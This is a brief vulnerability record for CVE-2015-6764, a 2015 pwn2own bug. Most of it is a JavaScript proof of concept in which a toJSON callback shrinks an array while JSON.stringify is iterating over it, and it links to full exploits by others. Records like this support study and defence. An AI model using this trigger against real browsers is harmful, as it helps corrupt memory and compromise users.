CVE-2015-6764.md

CVE-2015-6764

• Date: Nov 2015
• Credit: Guang Gong of Qihoo 360 via pwn2own

PoC

var array = [];
var funky = {
  toJSON: function() { array.length = 1; return "funky"; }
};
for (var i = 0; i < 10; i++) array[i] = i;
array[0] = funky;
JSON.stringify(array);

Reference

• Issue
• Exploit by oldfresher
• Exploit by 4B5F5F4B